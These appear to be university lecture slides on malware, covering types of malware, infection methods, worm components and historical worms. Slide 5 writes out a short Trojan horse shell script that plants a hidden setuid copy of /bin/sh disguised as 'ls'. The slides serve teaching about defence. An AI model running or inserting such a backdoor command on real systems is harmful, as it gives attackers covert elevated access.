1. CIT 380: Securing Computer SystemsSlide #1 CIT 380: Securing Computer Systems Malware

2. CIT 380: Securing Computer SystemsSlide #2 Topic 1.Types of Malware 1.Trojan Horses 2.Viruses 3.Worms 4.Backdoors 5.Rootkits 2.Self-Protection Mechanisms. 3.Payloads. 4.Malware Interactions. 5.Detecting Malware. 6.Defending against Malware. 7.The changing Malware environment.

3. CIT 380: Securing Computer SystemsSlide #3 Types of Malware Trojan Horse Tricks user into executing malicious code. Virus When run by user, copies self into other files. Worm Copies self from computer to computer. Backdoors Leaves opening for attacker to gain access. Rootkits Hides attacker activities from system administrators.

4. CIT 380: Securing Computer SystemsSlide #4 What about Spyware? Malware by any other name… –Corporate malware. –Presents legal issues for anti-malware software.

5. CIT 380: Securing Computer SystemsSlide #5 Trojan Horse Program with both an overt and covert effect –Displays expected behavior when user executes. –Covert effect (executed with user’s privileges) violates security policy. Attacker: cat >ls cp /bin/sh /tmp/.xxsh chmod u+s,o+x /tmp/.xxsh rm./ls ls $* ^D Victim: ls

6. Postcard http://www.nku.edu/~frank/cit380/docs/post card.htmhttp://www.nku.edu/~frank/cit380/docs/post card.htm

7. Viruses “Programs that modify other programs on a computer, inserting copies of themselves.” (Page 736) http://en.wikipedia.org/wiki/Virus_%28com puting%29http://en.wikipedia.org/wiki/Virus_%28com puting%29

8. Worms “Programs that propagate from computer to computer on a network, without necessarily modifying other programs on the target machines.” http://en.wikipedia.org/wiki/Computer_wor mshttp://en.wikipedia.org/wiki/Computer_wor ms

9. Wildlist http://www.wildlist.org/WildList/ JS – Java Script VBS – Visual Basic Script Virus or Worm W32 – 32-bit malicious code that can infect all 32-bit Windows platforms

10. Examples W32.Areses.P@mm –http://www.sarc.com/avcenter/venc/data/w32.areses.p @mm.htmlhttp://www.sarc.com/avcenter/venc/data/w32.areses.p @mm.html W32/Bagle@MM –http://vil.nai.com/vil/content/v_100965.htmhttp://vil.nai.com/vil/content/v_100965.htm W32.Blaster.Worm –http://www.symantec.com/security_response/writeup.js p?docid=2003-081113-0229-99&tabid=2http://www.symantec.com/security_response/writeup.js p?docid=2003-081113-0229-99&tabid=2 –http://www.microsoft.com/security/incident/blast.mspxhttp://www.microsoft.com/security/incident/blast.mspx

11. Examples W32.HLLW.Lovgate.C@mm –http://www.symantec.com/security_response/w riteup.jsp?docid=2003-022411-2431-99http://www.symantec.com/security_response/w riteup.jsp?docid=2003-022411-2431-99 W32.Mydoom.A@mm –http://www.symantec.com/security_response/w riteup.jsp?docid=2004-012612-5422- 99&tabid=1http://www.symantec.com/security_response/w riteup.jsp?docid=2004-012612-5422- 99&tabid=1

12. Examples W32.Mytob.CU@mm –http://searchsecurity.techtarget.com/sDefinition /0,,sid14_gci1124386,00.htmlhttp://searchsecurity.techtarget.com/sDefinition /0,,sid14_gci1124386,00.html –http://www.symantec.com/security_response/w riteup.jsp?docid=2005-053015-4201-99http://www.symantec.com/security_response/w riteup.jsp?docid=2005-053015-4201-99

13. CIT 380: Securing Computer SystemsSlide #13 Virus Self-replicating code –Propagating (replicating) Trojan horse. –Inserts (possibly evolved) copy into other files. Virus Pseudocode: If spread condition then Foreach target-file if not infected then copy virus to target-file Perform (malicious) action Execute normal code

14. CIT 380: Securing Computer SystemsSlide #14 Types of Viruses 1.Boot Sector –When system boots, code in boot sector executed. –Propagate by altering boot disk creation. –Uncommon today because of low use of boot floppies, but some Vista laptops shipped one.

15. CIT 380: Securing Computer SystemsSlide #15 Types of Viruses 2.Executable –Infects executable programs (e.g., COM, EXE). –Executes when infected program is run. –Virus usually runs first, then runs original code. 3.Dynamic Library –Infected dynamically linked libraries (DLLs.) –Executed when any program uses infected DLL.

16. CIT 380: Securing Computer SystemsSlide #16 Types of Viruses 4.Device Driver –Infects loadable device driver. –Executes in kernel mode. 5.Virtual Machine (.NET) –Infects.NET MSIL binaries. –Portable: compiled to native code by CLR. 6.Archive Infectors –Inserts Trojan horse into ZIP files. –Uses social engineering techniques to get user to run.

17. CIT 380: Securing Computer SystemsSlide #17 Types of Viruses 7.Macro Virus –Infects embedded interpreted code. –Needs interpreter like sh, MS Word macro. –Can infect executables or data files Executables must invoke appropriate interpreter. –Most modern data formats support some type of scripting, including Microsoft Office Windows Help files HTML: VBScript, JScript

18. CIT 380: Securing Computer SystemsSlide #18 Infection Methods 1.Overwriting –Overwrites program code with virus. –Breaks infected program. 2.Appending –Append virus code to executable. –Insert JMP at beginning of executable. 3.Prepending –Insert virus code at beginning of executable. –Shift original code to follow virus.

19. CIT 380: Securing Computer SystemsSlide #19 Infection Methods 4.Parasitic –Inserts virus code at beginning of executable. –Shifts beginning of program to end of file. 5.Cavity –Insert virus code into unused blocks of file. –Insert JMP at beginning of executable. 6.Fractionated Cavity –Fragment virus; inject into multiple cavities. –Loader reads fragments into continuous memory.

20. CIT 380: Securing Computer SystemsSlide #20 Infection Methods 7.Compressing –Compresses executable to make space. –Inserts virus and decompression code. 8.Fragmenting –Dynamically fragment virus. –Insert fragments by overwriting or shifting code. –Fragments JMP/CALL each other. 9.Companion –Infects COM file of same name as EXE file. –Infects alternate data stream of Win32 file.

21. CIT 380: Securing Computer SystemsSlide #21 In-Memory Strategies Direct Action –Virus runs only when infected code is run. Memory Resident –Remains active in memory after application terminates. –Interrupt hook (TSR) in DOS. –Kernel-mode rootkit techniques under modern OSes. –Can infect any program that runs after virus. –Example: Jerusalem Virus (Danube variant) Multipartite TSR virus. Infects all executables except command.com. Also infects boot sector. Deletes files on Friday the 13 th.

22. CIT 380: Securing Computer SystemsSlide #22 Worms Copies self from one computer to another Self-replicating: No user action required unlike virus or Trojan horse programs. Spreads via network protocols ex: SMTP (email), fingerd, MS SQL

23. CIT 380: Securing Computer SystemsSlide #23 History of Worms Morris WormNov 1988Disabled most of Internet using multiple vectors. MelissaMar 1999MS Word macro virus spread via Outlook email. Code RedAug 2001IIS Buffer overflow.

24. CIT 380: Securing Computer SystemsSlide #24 History of Worms Code GreenSep 2001Removed Code Red II and patched vulnerability. SlammerJan 2003SQL Server worm infected entire Internet <1 hr. SobigJun 2003Spam zombie botnet; RCI.

25. CIT 380: Securing Computer SystemsSlide #25 Worm Components 1.Vector 2.Propagation Engine 3.Target Selection 4.Scanning Engine 5.Payload

26. CIT 380: Securing Computer SystemsSlide #26 Vector Software to gain access to target host. Common vectors: –Buffer overflow exploits. –Network file sharing, both NFS/SMB and P2P. –Social-engineering via email or IM. –Weak passwords. –Parasitism: target backdoors and worm flaws.

27. CIT 380: Securing Computer SystemsSlide #27 Propagation Engine Transfers worm to host exploited by vector. –Small worms like Slammer included in vector. Worm Propagation Methods: –FTP –HTTP –SMB –TFTP

28. CIT 380: Securing Computer SystemsSlide #28 Remote Control Interface RCI allows creator to control infected hosts. Many worms do not have a RCI. May be a well-known backdoor program. Common remote control features: Start/stop infecting new targets. Download new vectors. Download new target selectors. Download new payloads.

29. CIT 380: Securing Computer SystemsSlide #29 Target Selection Selecting targets for potential infection. E-mail address harvesting –Address books. –Parse disk files. –Search news groups. Network share enumeration –Check for filesystems shared with other systems..

30. Target Selection Network scanning –Target hosts on current network and connected nets. –Randomized scanning of Internet space. Web searching –Search Google for addresses or vulnerable software CIT 380: Securing Computer SystemsSlide #30

31. CIT 380: Securing Computer SystemsSlide #31 Scanning Engine Check targets for vulnerabilities. –If vector small, scanning can be skipped. Scan for vulnerable services. –Like targeted nmap port scan. OS Check –Check for correct OS for vector to work. Version checking. –Check version of target software. –May customize vector based on information.